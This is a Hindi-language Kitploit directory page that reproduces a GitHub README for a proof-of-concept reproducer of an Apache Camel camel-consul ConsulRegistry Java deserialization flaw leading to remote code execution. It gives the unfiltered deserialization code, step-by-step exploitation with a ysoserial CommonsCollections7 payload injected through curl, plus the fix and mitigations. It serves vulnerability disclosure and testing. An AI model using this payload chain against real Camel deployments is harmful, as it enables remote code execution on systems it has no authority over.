Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-27172 — Reproducer for CVE-2026-27172: Apache Camel camel-consul ConsulRegistry Java deserialization (RCE) | Kitploit
उपकरण/GitHubGitHub/oscerd/cve-2026-27172
Vulnerability AnalysisExploitationPenetration TestingLearning & EducationPayload DevelopmentBinary Exploitation
GitHuboscerd/cve-2026-27172

CVE-2026-27172

Reproducer for CVE-2026-27172: Apache Camel camel-consul ConsulRegistry Java deserialization (RCE)

रिपॉजिटरी देखें
1 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

camel-consul ConsulRegistry डीसीरियलाइज़ेशन भेद्यता पुनरुत्पादक (CVE-2026-27172)

यह प्रोजेक्ट Apache Camel के camel-consul घटक (ConsulRegistry) में एक Java डीसीरियलाइज़ेशन भेद्यता प्रदर्शित करता है, जिसे CVE-2026-27172 के रूप में ट्रैक किया गया है। यह CVE-2024-22369, CVE-2024-23114 और CVE-2026-25747 के समान श्रेणी की समस्या है, और उन CVEs के मूल सुधार के दौरान इसे अनदेखा कर दिया गया था।

परामर्श: https://camel.apache.org/security/CVE-2026-27172.html

भेद्यता सारांश

संपत्तिमान
घटकcamel-consul
प्रभावित वर्गorg.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize)
भेद्य विधियाँlookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType()
CWECWE-502: अविश्वसनीय डेटा का डीसीरियलाइज़ेशन
प्रभावरिमोट कोड निष्पादन (RCE)
प्रभावित संस्करण3.0.0 से 4.14.6 से पूर्व, और 4.15.0 से 4.18.1 से पूर्व
निर्धारित संस्करण4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23029

तकनीकी विवरण

ConsulRegistry Consul कुंजी/मान भंडार का उपयोग Camel रजिस्ट्री के रूप में करता है। जब नाम से कोई बीन खोजा जाता है, तो संग्रहीत मान को Base64-डीकोड किया जाता है और एक कच्चे ObjectInputStream के साथ डीसीरियलाइज़ किया जाता है, और प्रभावित संस्करणों में, कोई ObjectInputFilter नहीं होता है:

root@kitploit:~
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
    kvClient = consul.keyValueClient();
    return kvClient.getValueAsString(key).map(result -> {
        byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
        return ConsulRegistryUtils.deserialize(postDecodedValue);   // कोई फ़िल्टर नहीं (प्रभावित)
    }).orElse(null);
}

// ConsulRegistryUtils.deserialize(...) - प्रभावित संस्करण
static Object deserialize(byte[] bytes) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        return in.readObject();   // कोई फ़िल्टरिंग नहीं!
    }
}

Consul KV भंडार में किसी कुंजी के अंतर्गत संग्रहीत कोई भी ऑब्जेक्ट जिसे Camel बाद में खोजता है, डीसीरियलाइज़ हो जाता है। एक हमलावर जो उस KV पथ पर लिख सकता है, एक गैजेट-चेन पेलोड लगा सकता है जो रजिस्ट्री खोज होने पर निष्पादित होता है।

पूर्वापेक्षाएँ

  • Java 17+
  • Maven 3.8+
  • एक चल रहा Consul एजेंट (KV भंडार) — जैसे Docker के माध्यम से
  • ysoserial (पेलोड उत्पादन के लिए)

पुनरुत्पादन चरण

चरण 1: Consul प्रारंभ करें

root@kitploit:~
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0

चरण 2: एप्लिकेशन बनाएं और प्रारंभ करें

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

चरण 3: रजिस्ट्री कुंजी आरंभ करें

root@kitploit:~
curl http://localhost:8080/exploit/init

चरण 4: एक दुर्भावनापूर्ण पेलोड उत्पन्न करें

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Linux (benign proof: create a file). Use "open -a Calculator" on macOS, "calc.exe" on Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

ConsulRegistry Base64-एन्कोडेड सीरियलाइज़्ड ऑब्जेक्ट संग्रहीत करता है, इसलिए पेलोड Base64 के रूप में वितरित किया जाता है।

चरण 5: पेलोड को Consul KV में इंजेक्ट करें

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  --data-binary @payload.b64

चरण 6: डीसीरियलाइज़ेशन ट्रिगर करें (RCE!)

root@kitploit:~
curl http://localhost:8080/exploit/trigger

lookupByName() KV मान पढ़ता है, उसे Base64-डीकोड करता है, और डीसीरियलाइज़ करता है — गैजेट-चेन निष्पादित करता है।

चरण 7: शोषण सत्यापित करें

root@kitploit:~
ls -la /tmp/pwned

यदि फ़ाइल /tmp/pwned मौजूद है, तो शोषण सफल रहा।

आक्रमण वेक्टर

भेद्यता तब ट्रिगर होती है जब रजिस्ट्री किसी बीन को हल करती है:

  1. बीन संदर्भ — .to("bean:..."), bean(...), .process("...") नाम से सभी lookupByName() को कॉल करते हैं।
  2. स्टार्टअप समाधान — रूट बनाए जाने के दौरान बीन्स हल हो जाते हैं।
  3. प्रकार खोज — findByType() / lookupByNameAndType() KV प्रविष्टियों को पुनरावृत्त करते हैं और उन्हें डीसीरियलाइज़ करते हैं।

शोषण शर्तें

  1. रजिस्ट्री का समर्थन करने वाले Consul KV भंडार तक लेखन पहुंच:

    • एक साझा या गलत कॉन्फ़िगर किया गया Consul क्लस्टर
    • एक समझौता/अत्यधिक-स्कोप्ड Consul ACL टोकन
    • एक अन्य भेद्यता जो KV लेखन प्रिमिटिव प्रदान करती है
  2. क्लासपाथ पर एक गैजेट लाइब्रेरी:

    • commons-collections:3.2.1 (CommonsCollections1-7 गैजेट)
    • कई अन्य (ysoserial देखें)

सहोदर CVEs के साथ तुलना

अनुशंसित सुधार

सुधार (CAMEL-23029) ConsulRegistryUtils.deserialize में एक कॉन्फ़िगरेबल ObjectInputFilter (डिफ़ॉल्ट java.**;org.apache.camel.**;!*) जोड़ता है, और एक deserializationFilter विकल्प प्रदान करता है ताकि विश्वसनीय वर्गों को अनुमति-सूचीबद्ध किया जा सके:

root@kitploit:~
static Object deserialize(byte[] bytes, String deserializationFilter) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        if (deserializationFilter != null) {
            in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        }
        return in.readObject();
    }
}

शमन

निर्धारित संस्करण में अपग्रेड करने तक:

  1. Consul KV लेखन पहुंच को Camel एप्लिकेशन की अपनी पहचान तक सीमित करें (न्यूनतम-विशेषाधिकार ACL टोकन)।
  2. गैजेट लाइब्रेरी हटाएं: कमजोर लाइब्रेरी जैसे commons-collections 3.x को अपग्रेड या हटाएं।
  3. नेटवर्क विभाजन: Consul क्लस्टर को एक विश्वसनीय नेटवर्क पर अलग करें।

फ़ाइलें

root@kitploit:~
CVE-2026-27172/
├── pom.xml                          # Maven configuration (affected camel-consul version)
├── README.md                        # This file
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot entry point
    │   ├── ConsulRegistryRoute.java  # Camel route (disabled; shows real usage)
    │   └── ExploitController.java    # REST endpoints for the PoC
    └── resources/
        └── application.properties

अस्वीकरण

यह पुनरुत्पादक केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और निर्धारित भेद्यता के लिए। इसे स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध उपयोग न करें।

टूल डाउनलोड करें
पहलूCassandra (CVE-2024-23114)LevelDB (CVE-2026-25747)Consul (CVE-2026-27172)
पृष्ठभूमि भंडारCassandra तालिकाLevelDB फ़ाइलConsul KV भंडार
ObjectInputFilter (सुधार से पहले)कोई नहींकोई नहींकोई नहीं
सुधारObjectInputFilter अनुमति-सूचीObjectInputFilter अनुमति-सूचीObjectInputFilter अनुमति-सूची
JIRACAMEL-20306CAMEL-22821CAMEL-23029